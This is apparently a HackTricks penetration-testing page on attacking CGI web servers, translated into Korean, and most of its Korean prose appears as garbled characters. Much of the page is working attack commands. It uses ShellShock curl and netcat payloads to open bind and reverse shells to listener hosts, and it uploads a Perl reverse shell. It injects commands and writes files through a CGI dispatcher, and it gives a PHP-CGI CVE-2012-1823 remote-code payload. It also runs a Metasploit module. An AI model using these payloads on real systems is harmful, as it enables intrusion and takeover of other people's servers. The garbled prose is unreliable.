CGI Pentesting
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ ๋ณด
The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), change the extension from .pl to .cgi, give execute permissions (chmod +x) and access the reverse shell from the web browser to execute it.
In order to test for CGI vulns itโs recommended to use nikto -C all (๋ฐ ๋ชจ๋ ํ๋ฌ๊ทธ์ธ)
ShellShock
ShellShock์ Unix ๊ณ์ด ์ด์์ฒด์ ์์ ๋๋ฆฌ ์ฌ์ฉ๋๋ Bash ๋ช ๋ น์ค ์ ธ์ ์ํฅ์ ๋ฏธ์น๋ ์ทจ์ฝ์ ์ ๋๋ค. ์ด ์ทจ์ฝ์ ์ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ ๋ฌํ ๋ช ๋ น์ Bash๊ฐ ์คํํ๋ ๊ธฐ๋ฅ์ ๋ชฉํ๋ก ํฉ๋๋ค. ์ทจ์ฝ์ ์ ํ๋ก์ธ์ค ์คํ ๋ฐฉ์์ ์ํฅ์ ์ฃผ๋ ๋์ ์ด๋ฆ-๊ฐ์ธ ํ๊ฒฝ ๋ณ์(environment variables) ์กฐ์์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๋ ํ๊ฒฝ ๋ณ์์ ์ ์ฑ ์ฝ๋๋ฅผ ์ฒจ๋ถํ๊ณ , ํด๋น ๋ณ์๋ฅผ ์์ ํ ๋ ์ฝ๋๊ฐ ์คํ๋๋๋ก ํ์ฌ ์ด๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค. ์ด๋ฅผ ํตํด ์์คํ ์ ์์์ํฌ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ฉด ํ์ด์ง๊ฐ ์๋ฌ๋ฅผ ๋ฐ์์ํฌ ์ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ ์ฐพ์ผ๋ ค๋ฉด ํด๋น ์๋ฒ๊ฐ old Apache version๊ณผ cgi_mod (with cgi folder)์ ์ฌ์ฉํ๊ณ ์๋์ง ํ์ธํ๊ฑฐ๋ nikto๋ฅผ ์ฌ์ฉํ๋ฉด ๋ฉ๋๋ค.
ํ ์คํธ
๋๋ถ๋ถ์ ํ ์คํธ๋ echo ๋ช ๋ น์ผ๋ก ๋ฌด์ธ๊ฐ๋ฅผ ์ถ๋ ฅํ๊ณ ๊ทธ ๋ฌธ์์ด์ด ์น ์๋ต์ ๋ฐํ๋๋์ง ํ์ธํ๋ ๋ฐฉ์์ ๋๋ค. ํน์ ํ์ด์ง๊ฐ ์ทจ์ฝํ ์ ์๋ค๊ณ ์๊ฐ๋๋ฉด ๋ชจ๋ cgi pages๋ฅผ ์ฐพ์ ํ ์คํธํ์ธ์.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflected, blind and out-of-band)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploit
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
์ค์์ง์ค์ CGI ๋์คํจ์ฒ (์ ํ์ ํ๋ผ๋ฏธํฐ๋ฅผ ํตํ ๋จ์ผ ์๋ํฌ์ธํธ ๋ผ์ฐํ )
๋ง์ ์๋ฒ ๋๋ ์น UI๋ ํ๋์ CGI ์๋ํฌ์ธํธ(์: /cgi-bin/cstecgi.cgi) ๋ค์ ์์ญ ๊ฐ์ ๊ถํ ์๋ ๋์์ ๋ฉํฐํ๋ ์คํ๊ณ topicurl=<handler> ๊ฐ์ ์ ํ์ ํ๋ผ๋ฏธํฐ๋ก ์์ฒญ์ ๋ด๋ถ ํจ์๋ก ๋ผ์ฐํ
ํฉ๋๋ค.
์ด๋ฌํ ๋ผ์ฐํฐ๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ๋ก :
- ํธ๋ค๋ฌ(handler) ์ด๋ฆ ์ด๊ฑฐ: scrape JS/HTML, wordlists๋ก brute-force, ๋๋ firmware๋ฅผ unpackํ๊ณ dispatcher์์ ์ฌ์ฉ๋ handler ๋ฌธ์์ด์ grep.
- ์ธ์ฆ ์๋ ์ ๊ทผ์ฑ ํ ์คํธ: ์ผ๋ถ handlers๋ auth checks๋ฅผ ์์ด๋ฒ๋ ค ์ง์ ํธ์ถ ๊ฐ๋ฅํจ.
- system utilities๋ฅผ ํธ์ถํ๊ฑฐ๋ ํ์ผ์ touch ํ๋ handlers์ ์ง์ค: ์ฝํ validators๋ ์ข
์ข
๋ช ๋ฌธ์๋ง ์ฐจ๋จํ๊ณ ์ ํ ํ์ดํ
-์ ๋์น ์ ์์.
์ผ๋ฐ์ ์ธ ์ต์คํ๋ก์ ํํ:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>¶m=-n
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass โ arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
ํ์ง ๋ฐ ๊ฐํ:
- ์ค์ํ๋ CGI ์๋ํฌ์ธํธ์ ๋ํด
topicurl์ด ๋ฏผ๊ฐํ ํธ๋ค๋ฌ๋ก ์ค์ ๋ ์ธ์ฆ๋์ง ์์ ์์ฒญ์ ์ฃผ์ํ์ธ์. - ํ๋ผ๋ฏธํฐ๊ฐ
-๋ก ์์ํ๋ ๊ฒฝ์ฐ ํ๋๊ทธ ์ฒ๋ฆฌํ์ธ์ (argv option injection attempts). - ๋ฒค๋: ๋ชจ๋ ์ํ ๋ณ๊ฒฝ ํธ๋ค๋ฌ์ ๋ํด ์ธ์ฆ์ ๊ฐ์ ํ๊ณ , ์๊ฒฉํ ํ์ฉ๋ชฉ๋ก/ํ์ /๊ธธ์ด๋ก ๊ฒ์ฆํ๋ฉฐ, ์ฌ์ฉ์ ์ ์ด ๋ฌธ์์ด์ ์ปค๋งจ๋๋ผ์ธ ํ๋๊ทธ๋ก ์ ๋ ์ ๋ฌํ์ง ๋ง์ธ์.
Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
๊ธฐ๋ณธ์ ์ผ๋ก cgi๊ฐ ํ์ฑํ๋์ด ์๊ณ php๊ฐ โ๊ตฌ๋ฒ์ โ (<5.3.12 / < 5.4.2)์ผ ๊ฒฝ์ฐ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
์ด ์ทจ์ฝ์ ์ ์
์ฉํ๋ ค๋ฉด ์น ์๋ฒ์ PHP ํ์ผ์ ํ๋ผ๋ฏธํฐ๋ฅผ ์ ์กํ์ง ์๊ณ ์ ๊ทผํด์ผ ํฉ๋๋ค(ํนํ โ=โ ๋ฌธ์๋ฅผ ๋ณด๋ด์ง ์์์ผ ํฉ๋๋ค).
๊ทธ๋ฐ ๋ค์, ์ด ์ทจ์ฝ์ ์ ํ
์คํธํ๋ ค๋ฉด ์๋ฅผ ๋ค์ด /index.php?-s์ ์ ๊ทผํ ์ ์์ต๋๋ค( -s์ ์ฃผ๋ชฉ) ๊ทธ๋ฆฌ๊ณ ์๋ต์ ์ ํ๋ฆฌ์ผ์ด์
์ ์์ค ์ฝ๋๊ฐ ํ์๋ฉ๋๋ค.
๊ทธ๋ฐ ๋ค์ RCE๋ฅผ ์ป๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ ํน์ ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ผ ์ ์์ต๋๋ค: /?-d allow_url_include=1 -d auto_prepend_file=php://input ๊ทธ๋ฆฌ๊ณ ์คํํ PHP ์ฝ๋๋ **์์ฒญ ๋ณธ๋ฌธ(body of the request)**์ ๋ฃ์ต๋๋ค.
์์:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
vuln ๋ฐ ๊ฐ๋ฅํ exploits์ ๋ํ ์ถ๊ฐ ์ ๋ณด: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
Proxy (MitM to Web server requests)
CGI๋ http ์์ฒญ์ ๊ฐ header์ ๋ํด ํ๊ฒฝ ๋ณ์(environment variable)๋ฅผ ์์ฑํฉ๋๋ค. ์๋ฅผ ๋ค์ด: โhost:web.comโ์ โHTTP_HOSTโ=โweb.comโ์ผ๋ก ์์ฑ๋ฉ๋๋ค.
์น ์๋ฒ๊ฐ HTTP_PROXY ๋ณ์๋ฅผ ์ฌ์ฉํ ์ ์์ผ๋ฏ๋ก, ๋ค์๊ณผ ๊ฐ์ header๋ฅผ ์ ์กํด ๋ณด์ธ์: โProxy: <IP_attacker>:<PORT>โ. ์๋ฒ๊ฐ ์ธ์ ์ค์ ์ด๋ ํ ์์ฒญ์ ์ํํ๋ฉด, ํด๋น ์๋ฒ๊ฐ ์ํํ๋ ๋ชจ๋ ์์ฒญ์ ๊ฐ๋ก์ฑ ์ ์์ต๋๋ค.
์ฐธ์กฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


